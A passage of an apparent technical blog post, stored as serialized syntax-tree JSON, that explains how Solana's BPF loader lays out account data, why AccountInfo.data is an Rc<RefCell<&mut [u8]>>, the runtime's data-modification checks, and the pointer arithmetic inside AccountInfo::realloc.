+=",{"type":23,"tag":41,"props":15058,"children":15059},{"style":114},[15060],{"type":28,"value":15061}," size_of",{"type":23,"tag":41,"props":15063,"children":15064},{"style":170},[15065],{"type":28,"value":3479},{"type":23,"tag":41,"props":15067,"children":15068},{"style":70},[15069],{"type":28,"value":1012},{"type":23,"tag":41,"props":15071,"children":15072},{"style":94},[15073],{"type":28,"value":8041},{"type":23,"tag":41,"props":15075,"children":15076},{"style":70},[15077],{"type":28,"value":8451},{"type":23,"tag":41,"props":15079,"children":15080},{"class":43,"line":85},[15081],{"type":23,"tag":41,"props":15082,"children":15083},{"emptyLinePlaceholder":18},[15084],{"type":28,"value":82},{"type":23,"tag":41,"props":15086,"children":15087},{"class":43,"line":105},[15088,15092,15097,15101,15106,15110,15115,15120,15124,15128],{"type":23,"tag":41,"props":15089,"children":15090},{"style":64},[15091],{"type":28,"value":11784},{"type":23,"tag":41,"props":15093,"children":15094},{"style":858},[15095],{"type":28,"value":15096}," data",{"type":23,"tag":41,"props":15098,"children":15099},{"style":170},[15100],{"type":28,"value":3017},{"type":23,"tag":41,"props":15102,"children":15103},{"style":94},[15104],{"type":28,"value":15105}," Rc",{"type":23,"tag":41,"props":15107,"children":15108},{"style":170},[15109],{"type":28,"value":3479},{"type":23,"tag":41,"props":15111,"children":15112},{"style":114},[15113],{"type":28,"value":15114},"new",{"type":23,"tag":41,"props":15116,"children":15117},{"style":70},[15118],{"type":28,"value":15119},"(RefCell",{"type":23,"tag":41,"props":15121,"children":15122},{"style":170},[15123],{"type":28,"value":3479},{"type":23,"tag":41,"props":15125,"children":15126},{"style":114},[15127],{"type":28,"value":15114},{"type":23,"tag":41,"props":15129,"children":15130},{"style":70},[15131],{"type":28,"value":15132},"({\n",{"type":23,"tag":41,"props":15134,"children":15135},{"class":43,"line":155},[15136,15141,15145,15149,15153,15157,15161,15165,15170,15174],{"type":23,"tag":41,"props":15137,"children":15138},{"style":114},[15139],{"type":28,"value":15140},"    from_raw_parts_mut",{"type":23,"tag":41,"props":15142,"children":15143},{"style":70},[15144],{"type":28,"value":1737},{"type":23,"tag":41,"props":15146,"children":15147},{"style":858},[15148],{"type":28,"value":8366},{"type":23,"tag":41,"props":15150,"children":15151},{"style":170},[15152],{"type":28,"value":706},{"type":23,"tag":41,"props":15154,"children":15155},{"style":114},[15156],{"type":28,"value":9636},{"type":23,"tag":41,"props":15158,"children":15159},{"style":70},[15160],{"type":28,"value":1737},{"type":23,"tag":41,"props":15162,"children":15163},{"style":858},[15164],{"type":28,"value":13895},{"type":23,"tag":41,"props":15166,"children":15167},{"style":70},[15168],{"type":28,"value":15169},"), ",{"type":23,"tag":41,"props":15171,"children":15172},{"style":858},[15173],{"type":28,"value":13800},{"type":23,"tag":41,"props":15175,"children":15176},{"style":70},[15177],{"type":28,"value":1969},{"type":23,"tag":41,"props":15179,"children":15180},{"class":43,"line":186},[15181],{"type":23,"tag":41,"props":15182,"children":15183},{"style":70},[15184],{"type":28,"value":15185},"}));\n",{"type":23,"tag":41,"props":15187,"children":15188},{"class":43,"line":195},[15189,15193,15197,15201,15205],{"type":23,"tag":41,"props":15190,"children":15191},{"style":858},[15192],{"type":28,"value":13895},{"type":23,"tag":41,"props":15194,"children":15195},{"style":170},[15196],{"type":28,"value":15056},{"type":23,"tag":41,"props":15198,"children":15199},{"style":858},[15200],{"type":28,"value":14976},{"type":23,"tag":41,"props":15202,"children":15203},{"style":170},[15204],{"type":28,"value":8901},{"type":23,"tag":41,"props":15206,"children":15207},{"style":70},[15208],{"type":28,"value":15209}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":23,"tag":41,"props":15211,"children":15212},{"class":43,"line":905},[15213,15217,15221,15225,15229,15233,15237,15241,15245,15249,15253,15258,15263],{"type":23,"tag":41,"props":15214,"children":15215},{"style":858},[15216],{"type":28,"value":13895},{"type":23,"tag":41,"props":15218,"children":15219},{"style":170},[15220],{"type":28,"value":15056},{"type":23,"tag":41,"props":15222,"children":15223},{"style":70},[15224],{"type":28,"value":142},{"type":23,"tag":41,"props":15226,"children":15227},{"style":858},[15228],{"type":28,"value":13895},{"type":23,"tag":41,"props":15230,"children":15231},{"style":64},[15232],{"type":28,"value":8825},{"type":23,"tag":41,"props":15234,"children":15235},{"style":170},[15236],{"type":28,"value":9814},{"type":23,"tag":41,"props":15238,"children":15239},{"style":64},[15240],{"type":28,"value":846},{"type":23,"tag":41,"props":15242,"children":15243},{"style":94},[15244],{"type":28,"value":14626},{"type":23,"tag":41,"props":15246,"children":15247},{"style":70},[15248],{"type":28,"value":2678},{"type":23,"tag":41,"props":15250,"children":15251},{"style":170},[15252],{"type":28,"value":706},{"type":23,"tag":41,"props":15254,"children":15255},{"style":114},[15256],{"type":28,"value":15257},"align_offset",{"type":23,"tag":41,"props":15259,"children":15260},{"style":70},[15261],{"type":28,"value":15262},"(BPF_ALIGN_OF_U128); ",{"type":23,"tag":41,"props":15264,"children":15265},{"style":48},[15266],{"type":28,"value":15267},"// padding\n",{"type":23,"tag":24,"props":15269,"children":15270},{},[15271,15273,15278,15280,15286,15288,15299,15301,15306,15308,15314,15316,15322,15323,15329],{"type":28,"value":15272},"In English, we have the length of the data, as a ",{"type":23,"tag":37,"props":15274,"children":15276},{"className":15275},[],[15277],{"type":28,"value":8041},{"type":28,"value":15279},", followed immediately by the data, and an additional ",{"type":23,"tag":37,"props":15281,"children":15283},{"className":15282},[],[15284],{"type":28,"value":15285},"MAX_PERMITTED_DATA_INCREASE",{"type":28,"value":15287}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":23,"tag":458,"props":15289,"children":15292},{"href":15290,"rel":15291},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[462],[15293],{"type":23,"tag":37,"props":15294,"children":15296},{"className":15295},[],[15297],{"type":28,"value":15298},"slice::from_raw_parts_mut",{"type":28,"value":15300},") - slices are how Rust represents a, well, ",{"type":23,"tag":2913,"props":15302,"children":15303},{},[15304],{"type":28,"value":15305},"slice",{"type":28,"value":15307}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":23,"tag":37,"props":15309,"children":15311},{"className":15310},[],[15312],{"type":28,"value":15313},"Rc\u003CRefCell\u003CT>>",{"type":28,"value":15315},", giving us the unwieldy-looking type of ",{"type":23,"tag":37,"props":15317,"children":15319},{"className":15318},[],[15320],{"type":28,"value":15321},"AccountInfo.data",{"type":28,"value":1418},{"type":23,"tag":37,"props":15324,"children":15326},{"className":15325},[],[15327],{"type":28,"value":15328},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":28,"value":706},{"type":23,"tag":24,"props":15331,"children":15332},{},[15333,15335,15342],{"type":28,"value":15334},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":23,"tag":458,"props":15336,"children":15339},{"href":15337,"rel":15338},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[462],[15340],{"type":28,"value":15341},"cloning the referenced account",{"type":28,"value":1474},{"type":23,"tag":31,"props":15344,"children":15346},{"className":2982,"code":15345,"language":2981,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[15347],{"type":23,"tag":37,"props":15348,"children":15349},{"__ignoreMap":7},[15350,15358],{"type":23,"tag":41,"props":15351,"children":15352},{"class":43,"line":44},[15353],{"type":23,"tag":41,"props":15354,"children":15355},{"style":48},[15356],{"type":28,"value":15357},"// Duplicate account, clone the original\n",{"type":23,"tag":41,"props":15359,"children":15360},{"class":43,"line":54},[15361,15365,15369,15373,15377,15381,15385,15390,15394,15398,15403,15407,15412],{"type":23,"tag":41,"props":15362,"children":15363},{"style":858},[15364],{"type":28,"value":14667},{"type":23,"tag":41,"props":15366,"children":15367},{"style":170},[15368],{"type":28,"value":706},{"type":23,"tag":41,"props":15370,"children":15371},{"style":114},[15372],{"type":28,"value":3811},{"type":23,"tag":41,"props":15374,"children":15375},{"style":70},[15376],{"type":28,"value":1737},{"type":23,"tag":41,"props":15378,"children":15379},{"style":858},[15380],{"type":28,"value":14667},{"type":23,"tag":41,"props":15382,"children":15383},{"style":70},[15384],{"type":28,"value":312},{"type":23,"tag":41,"props":15386,"children":15387},{"style":858},[15388],{"type":28,"value":15389},"dup_info",{"type":23,"tag":41,"props":15391,"children":15392},{"style":64},[15393],{"type":28,"value":8825},{"type":23,"tag":41,"props":15395,"children":15396},{"style":94},[15397],{"type":28,"value":13726},{"type":23,"tag":41,"props":15399,"children":15400},{"style":70},[15401],{"type":28,"value":15402},"]",{"type":23,"tag":41,"props":15404,"children":15405},{"style":170},[15406],{"type":28,"value":706},{"type":23,"tag":41,"props":15408,"children":15409},{"style":114},[15410],{"type":28,"value":15411},"clone",{"type":23,"tag":41,"props":15413,"children":15414},{"style":70},[15415],{"type":28,"value":15416},"());\n",{"type":23,"tag":24,"props":15418,"children":15419},{},[15420,15422,15427,15429,15434,15436,15441,15443,15448,15449,15455,15457,15462,15464,15476,15478,15483],{"type":28,"value":15421},"Since ",{"type":23,"tag":37,"props":15423,"children":15425},{"className":15424},[],[15426],{"type":28,"value":3701},{"type":28,"value":15428}," inside the ",{"type":23,"tag":37,"props":15430,"children":15432},{"className":15431},[],[15433],{"type":28,"value":14930},{"type":28,"value":15435}," is a ",{"type":23,"tag":37,"props":15437,"children":15439},{"className":15438},[],[15440],{"type":28,"value":15313},{"type":28,"value":15442},", where the ",{"type":23,"tag":37,"props":15444,"children":15446},{"className":15445},[],[15447],{"type":28,"value":1634},{"type":28,"value":15435},{"type":23,"tag":37,"props":15450,"children":15452},{"className":15451},[],[15453],{"type":28,"value":15454},"&mut [u8]",{"type":28,"value":15456}," pointing at the actual data buffer, when we clone the ",{"type":23,"tag":37,"props":15458,"children":15460},{"className":15459},[],[15461],{"type":28,"value":14930},{"type":28,"value":15463},", we get a new reference",{"type":23,"tag":15465,"props":15466,"children":15467},"sup",{},[15468],{"type":23,"tag":458,"props":15469,"children":15474},{"href":15470,"ariaDescribedBy":15471,"dataFootnoteRef":7,"id":15473},"#user-content-fn-rc-refs",[15472],"footnote-label","user-content-fnref-rc-refs",[15475],{"type":28,"value":317},{"type":28,"value":15477}," to the slice pointing at the ",{"type":23,"tag":2913,"props":15479,"children":15480},{},[15481],{"type":28,"value":15482},"same",{"type":28,"value":15484}," data buffer.",{"type":23,"tag":24,"props":15486,"children":15487},{},[15488,15490,15496,15498,15504],{"type":28,"value":15489},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":23,"tag":37,"props":15491,"children":15493},{"className":15492},[],[15494],{"type":28,"value":15495},"RefCell",{"type":28,"value":15497}," to check the rules at runtime. (The ",{"type":23,"tag":37,"props":15499,"children":15501},{"className":15500},[],[15502],{"type":28,"value":15503},"lamports",{"type":28,"value":15505}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":23,"tag":24,"props":15507,"children":15508},{},[15509,15511,15517],{"type":28,"value":15510},"Changing the data of an account is done by simply writing to ",{"type":23,"tag":37,"props":15512,"children":15514},{"className":15513},[],[15515],{"type":28,"value":15516},"AccountInfo::data",{"type":28,"value":15518},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":23,"tag":24,"props":15520,"children":15521},{},[15522,15524,15531],{"type":28,"value":15523},"This is also where the ",{"type":23,"tag":458,"props":15525,"children":15528},{"href":15526,"rel":15527},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[462],[15529],{"type":28,"value":15530},"runtime validity checks",{"type":28,"value":15532}," are imposed.",{"type":23,"tag":31,"props":15534,"children":15536},{"className":2982,"code":15535,"language":2981,"meta":7,"style":7},"// Only the owner may change account data\n//   and if the account is writable\n//   and if the account is not executable\nif !(program_id == pre.owner()\n    && is_writable  // line coverage used to get branch coverage\n    && !pre.executable())\n    && pre.data() != post.data()\n{\n    if pre.executable() {\n        return Err(InstructionError::ExecutableDataModified);\n    } else if is_writable {\n        return Err(InstructionError::ExternalAccountDataModified);\n    } else {\n        return Err(InstructionError::ReadonlyDataModified);\n    }\n}\n",[15537],{"type":23,"tag":37,"props":15538,"children":15539},{"__ignoreMap":7},[15540,15548,15556,15564,15605,15623,15652,15697,15704,15727,15761,15785,15817,15832,15864,15871],{"type":23,"tag":41,"props":15541,"children":15542},{"class":43,"line":44},[15543],{"type":23,"tag":41,"props":15544,"children":15545},{"style":48},[15546],{"type":28,"value":15547},"// Only the owner may change account data\n",{"type":23,"tag":41,"props":15549,"children":15550},{"class":43,"line":54},[15551],{"type":23,"tag":41,"props":15552,"children":15553},{"style":48},[15554],{"type":28,"value":15555},"//   and if the account is writable\n",{"type":23,"tag":41,"props":15557,"children":15558},{"class":43,"line":76},[15559],{"type":23,"tag":41,"props":15560,"children":15561},{"style":48},[15562],{"type":28,"value":15563},"//   and if the account is not executable\n",{"type":23,"tag":41,"props":15565,"children":15566},{"class":43,"line":85},[15567,15571,15575,15579,15583,15587,15592,15596,15601],{"type":23,"tag":41,"props":15568,"children":15569},{"style":58},[15570],{"type":28,"value":368},{"type":23,"tag":41,"props":15572,"children":15573},{"style":170},[15574],{"type":28,"value":12859},{"type":23,"tag":41,"props":15576,"children":15577},{"style":70},[15578],{"type":28,"value":1737},{"type":23,"tag":41,"props":15580,"children":15581},{"style":858},[15582],{"type":28,"value":14658},{"type":23,"tag":41,"props":15584,"children":15585},{"style":170},[15586],{"type":28,"value":3282},{"type":23,"tag":41,"props":15588,"children":15589},{"style":858},[15590],{"type":28,"value":15591}," pre",{"type":23,"tag":41,"props":15593,"children":15594},{"style":170},[15595],{"type":28,"value":706},{"type":23,"tag":41,"props":15597,"children":15598},{"style":114},[15599],{"type":28,"value":15600},"owner",{"type":23,"tag":41,"props":15602,"children":15603},{"style":70},[15604],{"type":28,"value":7735},{"type":23,"tag":41,"props":15606,"children":15607},{"class":43,"line":105},[15608,15613,15618],{"type":23,"tag":41,"props":15609,"children":15610},{"style":170},[15611],{"type":28,"value":15612},"    &&",{"type":23,"tag":41,"props":15614,"children":15615},{"style":858},[15616],{"type":28,"value":15617}," is_writable",{"type":23,"tag":41,"props":15619,"children":15620},{"style":48},[15621],{"type":28,"value":15622},"  // line coverage used to get branch coverage\n",{"type":23,"tag":41,"props":15624,"children":15625},{"class":43,"line":155},[15626,15630,15634,15638,15642,15647],{"type":23,"tag":41,"props":15627,"children":15628},{"style":170},[15629],{"type":28,"value":15612},{"type":23,"tag":41,"props":15631,"children":15632},{"style":170},[15633],{"type":28,"value":12859},{"type":23,"tag":41,"props":15635,"children":15636},{"style":858},[15637],{"type":28,"value":31},{"type":23,"tag":41,"props":15639,"children":15640},{"style":170},[15641],{"type":28,"value":706},{"type":23,"tag":41,"props":15643,"children":15644},{"style":114},[15645],{"type":28,"value":15646},"executable",{"type":23,"tag":41,"props":15648,"children":15649},{"style":70},[15650],{"type":28,"value":15651},"())\n",{"type":23,"tag":41,"props":15653,"children":15654},{"class":43,"line":186},[15655,15659,15663,15667,15671,15675,15680,15685,15689,15693],{"type":23,"tag":41,"props":15656,"children":15657},{"style":170},[15658],{"type":28,"value":15612},{"type":23,"tag":41,"props":15660,"children":15661},{"style":858},[15662],{"type":28,"value":15591},{"type":23,"tag":41,"props":15664,"children":15665},{"style":170},[15666],{"type":28,"value":706},{"type":23,"tag":41,"props":15668,"children":15669},{"style":114},[15670],{"type":28,"value":3701},{"type":23,"tag":41,"props":15672,"children":15673},{"style":70},[15674],{"type":28,"value":122},{"type":23,"tag":41,"props":15676,"children":15677},{"style":170},[15678],{"type":28,"value":15679},"!=",{"type":23,"tag":41,"props":15681,"children":15682},{"style":858},[15683],{"type":28,"value":15684}," post",{"type":23,"tag":41,"props":15686,"children":15687},{"style":170},[15688],{"type":28,"value":706},{"type":23,"tag":41,"props":15690,"children":15691},{"style":114},[15692],{"type":28,"value":3701},{"type":23,"tag":41,"props":15694,"children":15695},{"style":70},[15696],{"type":28,"value":7735},{"type":23,"tag":41,"props":15698,"children":15699},{"class":43,"line":195},[15700],{"type":23,"tag":41,"props":15701,"children":15702},{"style":70},[15703],{"type":28,"value":1559},{"type":23,"tag":41,"props":15705,"children":15706},{"class":43,"line":905},[15707,15711,15715,15719,15723],{"type":23,"tag":41,"props":15708,"children":15709},{"style":58},[15710],{"type":28,"value":2440},{"type":23,"tag":41,"props":15712,"children":15713},{"style":858},[15714],{"type":28,"value":15591},{"type":23,"tag":41,"props":15716,"children":15717},{"style":170},[15718],{"type":28,"value":706},{"type":23,"tag":41,"props":15720,"children":15721},{"style":114},[15722],{"type":28,"value":15646},{"type":23,"tag":41,"props":15724,"children":15725},{"style":70},[15726],{"type":28,"value":1134},{"type":23,"tag":41,"props":15728,"children":15729},{"class":43,"line":922},[15730,15734,15739,15743,15748,15752,15757],{"type":23,"tag":41,"props":15731,"children":15732},{"style":58},[15733],{"type":28,"value":161},{"type":23,"tag":41,"props":15735,"children":15736},{"style":94},[15737],{"type":28,"value":15738}," Err",{"type":23,"tag":41,"props":15740,"children":15741},{"style":70},[15742],{"type":28,"value":1737},{"type":23,"tag":41,"props":15744,"children":15745},{"style":94},[15746],{"type":28,"value":15747},"InstructionError",{"type":23,"tag":41,"props":15749,"children":15750},{"style":170},[15751],{"type":28,"value":3479},{"type":23,"tag":41,"props":15753,"children":15754},{"style":94},[15755],{"type":28,"value":15756},"ExecutableDataModified",{"type":23,"tag":41,"props":15758,"children":15759},{"style":70},[15760],{"type":28,"value":3825},{"type":23,"tag":41,"props":15762,"children":15763},{"class":43,"line":930},[15764,15769,15773,15777,15781],{"type":23,"tag":41,"props":15765,"children":15766},{"style":70},[15767],{"type":28,"value":15768},"    } ",{"type":23,"tag":41,"props":15770,"children":15771},{"style":58},[15772],{"type":28,"value":3315},{"type":23,"tag":41,"props":15774,"children":15775},{"style":58},[15776],{"type":28,"value":2536},{"type":23,"tag":41,"props":15778,"children":15779},{"style":858},[15780],{"type":28,"value":15617},{"type":23,"tag":41,"props":15782,"children":15783},{"style":70},[15784],{"type":28,"value":102},{"type":23,"tag":41,"props":15786,"children":15787},{"class":43,"line":939},[15788,15792,15796,15800,15804,15808,15813],{"type":23,"tag":41,"props":15789,"children":15790},{"style":58},[15791],{"type":28,"value":161},{"type":23,"tag":41,"props":15793,"children":15794},{"style":94},[15795],{"type":28,"value":15738},{"type":23,"tag":41,"props":15797,"children":15798},{"style":70},[15799],{"type":28,"value":1737},{"type":23,"tag":41,"props":15801,"children":15802},{"style":94},[15803],{"type":28,"value":15747},{"type":23,"tag":41,"props":15805,"children":15806},{"style":170},[15807],{"type":28,"value":3479},{"type":23,"tag":41,"props":15809,"children":15810},{"style":94},[15811],{"type":28,"value":15812},"ExternalAccountDataModified",{"type":23,"tag":41,"props":15814,"children":15815},{"style":70},[15816],{"type":28,"value":3825},{"type":23,"tag":41,"props":15818,"children":15819},{"class":43,"line":947},[15820,15824,15828],{"type":23,"tag":41,"props":15821,"children":15822},{"style":70},[15823],{"type":28,"value":15768},{"type":23,"tag":41,"props":15825,"children":15826},{"style":58},[15827],{"type":28,"value":3315},{"type":23,"tag":41,"props":15829,"children":15830},{"style":70},[15831],{"type":28,"value":102},{"type":23,"tag":41,"props":15833,"children":15834},{"class":43,"line":985},[15835,15839,15843,15847,15851,15855,15860],{"type":23,"tag":41,"props":15836,"children":15837},{"style":58},[15838],{"type":28,"value":161},{"type":23,"tag":41,"props":15840,"children":15841},{"style":94},[15842],{"type":28,"value":15738},{"type":23,"tag":41,"props":15844,"children":15845},{"style":70},[15846],{"type":28,"value":1737},{"type":23,"tag":41,"props":15848,"children":15849},{"style":94},[15850],{"type":28,"value":15747},{"type":23,"tag":41,"props":15852,"children":15853},{"style":170},[15854],{"type":28,"value":3479},{"type":23,"tag":41,"props":15856,"children":15857},{"style":94},[15858],{"type":28,"value":15859},"ReadonlyDataModified",{"type":23,"tag":41,"props":15861,"children":15862},{"style":70},[15863],{"type":28,"value":3825},{"type":23,"tag":41,"props":15865,"children":15866},{"class":43,"line":1058},[15867],{"type":23,"tag":41,"props":15868,"children":15869},{"style":70},[15870],{"type":28,"value":192},{"type":23,"tag":41,"props":15872,"children":15873},{"class":43,"line":1084},[15874],{"type":23,"tag":41,"props":15875,"children":15876},{"style":70},[15877],{"type":28,"value":201},{"type":23,"tag":546,"props":15879,"children":15881},{"id":15880},"back-to-realloc",[15882,15884],{"type":28,"value":15883},"Back to ",{"type":23,"tag":37,"props":15885,"children":15887},{"className":15886},[],[15888],{"type":28,"value":13633},{"type":23,"tag":24,"props":15890,"children":15891},{},[15892],{"type":28,"value":15893},"As a reminder, this is what we were looking at before that detour:",{"type":23,"tag":31,"props":15895,"children":15896},{"className":2982,"code":14383,"language":2981,"meta":7,"style":7},[15897],{"type":23,"tag":37,"props":15898,"children":15899},{"__ignoreMap":7},[15900,15907,15994],{"type":23,"tag":41,"props":15901,"children":15902},{"class":43,"line":44},[15903],{"type":23,"tag":41,"props":15904,"children":15905},{"style":48},[15906],{"type":28,"value":14395},{"type":23,"tag":41,"props":15908,"children":15909},{"class":43,"line":54},[15910,15914,15918,15922,15926,15930,15934,15938,15942,15946,15950,15954,15958,15962,15966,15970,15974,15978,15982,15986,15990],{"type":23,"tag":41,"props":15911,"children":15912},{"style":64},[15913],{"type":28,"value":11784},{"type":23,"tag":41,"props":15915,"children":15916},{"style":858},[15917],{"type":28,"value":13851},{"type":23,"tag":41,"props":15919,"children":15920},{"style":170},[15921],{"type":28,"value":3017},{"type":23,"tag":41,"props":15923,"children":15924},{"style":64},[15925],{"type":28,"value":13791},{"type":23,"tag":41,"props":15927,"children":15928},{"style":170},[15929],{"type":28,"value":706},{"type":23,"tag":41,"props":15931,"children":15932},{"style":114},[15933],{"type":28,"value":13868},{"type":23,"tag":41,"props":15935,"children":15936},{"style":70},[15937],{"type":28,"value":13873},{"type":23,"tag":41,"props":15939,"children":15940},{"style":170},[15941],{"type":28,"value":3132},{"type":23,"tag":41,"props":15943,"children":15944},{"style":114},[15945],{"type":28,"value":13882},{"type":23,"tag":41,"props":15947,"children":15948},{"style":70},[15949],{"type":28,"value":13873},{"type":23,"tag":41,"props":15951,"children":15952},{"style":170},[15953],{"type":28,"value":706},{"type":23,"tag":41,"props":15955,"children":15956},{"style":114},[15957],{"type":28,"value":13895},{"type":23,"tag":41,"props":15959,"children":15960},{"style":70},[15961],{"type":28,"value":1737},{"type":23,"tag":41,"props":15963,"children":15964},{"style":170},[15965],{"type":28,"value":4329},{"type":23,"tag":41,"props":15967,"children":15968},{"style":164},[15969],{"type":28,"value":4078},{"type":23,"tag":41,"props":15971,"children":15972},{"style":70},[15973],{"type":28,"value":866},{"type":23,"tag":41,"props":15975,"children":15976},{"style":64},[15977],{"type":28,"value":8838},{"type":23,"tag":41,"props":15979,"children":15980},{"style":170},[15981],{"type":28,"value":9814},{"type":23,"tag":41,"props":15983,"children":15984},{"style":64},[15985],{"type":28,"value":3723},{"type":23,"tag":41,"props":15987,"children":15988},{"style":94},[15989],{"type":28,"value":5860},{"type":23,"tag":41,"props":15991,"children":15992},{"style":70},[15993],{"type":28,"value":183},{"type":23,"tag":41,"props":15995,"children":15996},{"class":43,"line":76},[15997,16001,16005,16009,16013,16017,16021],{"type":23,"tag":41,"props":15998,"children":15999},{"style":170},[16000],{"type":28,"value":377},{"type":23,"tag":41,"props":16002,"children":16003},{"style":858},[16004],{"type":28,"value":13943},{"type":23,"tag":41,"props":16006,"children":16007},{"style":170},[16008],{"type":28,"value":3017},{"type":23,"tag":41,"props":16010,"children":16011},{"style":858},[16012],{"type":28,"value":13952},{"type":23,"tag":41,"props":16014,"children":16015},{"style":64},[16016],{"type":28,"value":8825},{"type":23,"tag":41,"props":16018,"children":16019},{"style":94},[16020],{"type":28,"value":5860},{"type":23,"tag":41,"props":16022,"children":16023},{"style":70},[16024],{"type":28,"value":183},{"type":23,"tag":24,"props":16026,"children":16027},{},[16028,16033,16035,16040,16042,16047,16049,16060,16062,16067,16069,16074],{"type":23,"tag":37,"props":16029,"children":16031},{"className":16030},[],[16032],{"type":28,"value":13868},{"type":28,"value":16034}," gives us the ",{"type":23,"tag":37,"props":16036,"children":16038},{"className":16037},[],[16039],{"type":28,"value":15454},{"type":28,"value":16041}," from the ",{"type":23,"tag":37,"props":16043,"children":16045},{"className":16044},[],[16046],{"type":28,"value":15328},{"type":28,"value":16048},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":23,"tag":458,"props":16050,"children":16053},{"href":16051,"rel":16052},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[462],[16054],{"type":23,"tag":37,"props":16055,"children":16057},{"className":16056},[],[16058],{"type":28,"value":16059},"slice::as_mut_ptr()",{"type":28,"value":16061}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":23,"tag":37,"props":16063,"children":16065},{"className":16064},[],[16066],{"type":28,"value":8041},{"type":28,"value":16068}," - behind the data buffer), and then writes ",{"type":23,"tag":37,"props":16070,"children":16072},{"className":16071},[],[16073],{"type":28,"value":13717},{"type":28,"value":16075}," to it.",{"type":23,"tag":24,"props":16077,"children":16078},{},[16079,16081,16093,16095,16101],{"type":28,"value":16080},"This is reasonable... ",{"type":23,"tag":2913,"props":16082,"children":16083},{},[16084,16086,16091],{"type":28,"value":16085},"as long as the ",{"type":23,"tag":37,"props":16087,"children":16089},{"className":16088},[],[16090],{"type":28,"value":3701},{"type":28,"value":16092}," actually came from the serialized buffer",{"type":28,"value":16094},". We'll come back to this ",{"type":23,"tag":458,"props":16096,"children":16098},{"href":16097},"#Not-contracts",[16099],{"type":28,"value":16100},"later",{"type":28,"value":706},{"type":23,"tag":24,"props":16103,"children":16104},{},[16105,16107,16112],{"type":28,"value":16106},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":23,"tag":37,"props":16108,"children":16110},{"className":16109},[],[16111],{"type":28,"value":15454},{"type":28,"value":16113}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":23,"tag":31,"props":16115,"children":16117},{"className":2982,"code":16116,"language":2981,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[16118],{"type":23,"tag":37,"props":16119,"children":16120},{"__ignoreMap":7},[16121,16129,16256],{"type":23,"tag":41,"props":16122,"children":16123},{"class":43,"line":44},[16124],{"type":23,"tag":41,"props":16125,"children":16126},{"style":48},[16127],{"type":28,"value":16128},"// Then set the new length in the local slice\n",{"type":23,"tag":41,"props":16130,"children":16131},{"class":43,"line":54},[16132,16136,16140,16144,16148,16152,16156,16160,16164,16168,16172,16176,16180,16184,16188,16192,16196,16200,16204,16208,16212,16216,16220,16224,16228,16232,16236,16240,16244,16248,16252],{"type":23,"tag":41,"props":16133,"children":16134},{"style":64},[16135],{"type":28,"value":11784},{"type":23,"tag":41,"props":16137,"children":16138},{"style":858},[16139],{"type":28,"value":13851},{"type":23,"tag":41,"props":16141,"children":16142},{"style":170},[16143],{"type":28,"value":3017},{"type":23,"tag":41,"props":16145,"children":16146},{"style":170},[16147],{"type":28,"value":7140},{"type":23,"tag":41,"props":16149,"children":16150},{"style":64},[16151],{"type":28,"value":3723},{"type":23,"tag":41,"props":16153,"children":16154},{"style":170},[16155],{"type":28,"value":9814},{"type":23,"tag":41,"props":16157,"children":16158},{"style":70},[16159],{"type":28,"value":14011},{"type":23,"tag":41,"props":16161,"children":16162},{"style":64},[16163],{"type":28,"value":13708},{"type":23,"tag":41,"props":16165,"children":16166},{"style":170},[16167],{"type":28,"value":706},{"type":23,"tag":41,"props":16169,"children":16170},{"style":70},[16171],{"type":28,"value":3701},{"type":23,"tag":41,"props":16173,"children":16174},{"style":170},[16175],{"type":28,"value":706},{"type":23,"tag":41,"props":16177,"children":16178},{"style":114},[16179],{"type":28,"value":14032},{"type":23,"tag":41,"props":16181,"children":16182},{"style":70},[16183],{"type":28,"value":122},{"type":23,"tag":41,"props":16185,"children":16186},{"style":64},[16187],{"type":28,"value":8838},{"type":23,"tag":41,"props":16189,"children":16190},{"style":170},[16191],{"type":28,"value":9814},{"type":23,"tag":41,"props":16193,"children":16194},{"style":64},[16195],{"type":28,"value":846},{"type":23,"tag":41,"props":16197,"children":16198},{"style":94},[16199],{"type":28,"value":5860},{"type":23,"tag":41,"props":16201,"children":16202},{"style":70},[16203],{"type":28,"value":2678},{"type":23,"tag":41,"props":16205,"children":16206},{"style":170},[16207],{"type":28,"value":706},{"type":23,"tag":41,"props":16209,"children":16210},{"style":114},[16211],{"type":28,"value":13895},{"type":23,"tag":41,"props":16213,"children":16214},{"style":70},[16215],{"type":28,"value":1737},{"type":23,"tag":41,"props":16217,"children":16218},{"style":164},[16219],{"type":28,"value":317},{"type":23,"tag":41,"props":16221,"children":16222},{"style":70},[16223],{"type":28,"value":866},{"type":23,"tag":41,"props":16225,"children":16226},{"style":64},[16227],{"type":28,"value":8838},{"type":23,"tag":41,"props":16229,"children":16230},{"style":94},[16231],{"type":28,"value":5860},{"type":23,"tag":41,"props":16233,"children":16234},{"style":70},[16235],{"type":28,"value":866},{"type":23,"tag":41,"props":16237,"children":16238},{"style":64},[16239],{"type":28,"value":8838},{"type":23,"tag":41,"props":16241,"children":16242},{"style":170},[16243],{"type":28,"value":9814},{"type":23,"tag":41,"props":16245,"children":